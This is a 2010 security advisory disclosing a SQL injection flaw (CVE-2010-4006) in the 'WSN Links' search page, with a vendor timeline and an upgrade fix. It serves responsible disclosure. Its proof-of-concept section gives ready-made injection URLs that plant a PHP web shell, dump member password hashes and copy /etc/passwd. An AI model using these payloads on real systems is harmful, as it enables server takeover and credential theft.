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'WSN Links' SQL Injection Vulnerability (CVE-2010-4006)
From: Mark Stanislav <mark.stanislav () gmail com>
Date: Sun, 31 Oct 2010 10:59:44 -0400

'WSN Links' SQL Injection Vulnerability (CVE-2010-4006)
Mark Stanislav - mark.stanislav () gmail com


I. DESCRIPTION
---------------------------------------
A vulnerability exists in the search.php code that allows for SQL injection of various parameters. By assembling 
portions of SQL code between the affected parameters, successful SQL injection into the software can occur. In the 
testing done, various 'UNION SELECT' SQL injections can occur. 

 
II. AFFECTED VERSIONS
---------------------------------------
< 6.0.1; < 5.1.51 ; < 5.0.81


III. TESTED VERSIONS
---------------------------------------
5.1.40 & 5.1.49


IV. PoC EXPLOITS 
---------------------------------------
1) A 'UNION SELECT' which results in a PHP shell-execution script
http://example.com/search.php?namecondition=IS%20NULL))%20UNION%20((SELECT%20"<?php%20system($_REQUEST[cmd]);%20?>"%20INTO%20OUTFILE&namesearch=/var/www/exec.php&action=filter&filled=1&whichtype=categories

2) A 'UNION SELECT' which results in a member's name, password hash, and e-mail to be extracted to a file
http://example.com/search.php?namecondition=IS%20NOT%20NULL))%20UNION%20((SELECT%20concat(name,0x3a,password,0x3a,email)%20FROM%20wsnlinks_members%20INTO%20OUTFILE&namesearch=/var/www/pass.txt&action=filter&filled=1&whichtype=categories

3) A 'UNION SELECT' which results in the /etc/passwd file being copied to a web directory file
http://example.com/search.php?namecondition=IS%20NOT%20NULL))%20UNION%20((SELECT%20load_file(0x2f6574632f706173737764)%20INTO%20OUTFILE&namesearch=/var/www/passwd.txt&action=filter&filled=1&whichtype=categories


V. NOTES 
---------------------------------------
* The above exploits require 'FILE' SQL privilege as well as poor web directory permissions to work. 
* Only 'namecondition' and 'namesearch' are utilized for the actual SQL injection.
* There is potential to exploit this vulnerability which outputs user data directly to the browser.
* Passing 'debug=1' as a query value easily enables debug mode of tested 'WSN Links' deployments.


VI. SOLUTION
---------------------------------------
Upgrade to the most recent version of your 'WSN Links' code branch.


VII. REFERENCES
---------------------------------------
http://www.wsnlinks.com/
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2010-4006
http://www.uncompiled.com/2010/10/wsn-links-sql-injection-vulnerability-cve-2010-4006/

VIII. TIMELINE
---------------------------------------
10/10/2010: Initial discloure e-mail to the vendor
10/18/2010: Follow-up via the vendor's contact web form
10/18/2010: Vendor acknowledgement/commitment to fix
10/21/2010: Patched versions released
10/31/2010: Public disclosure
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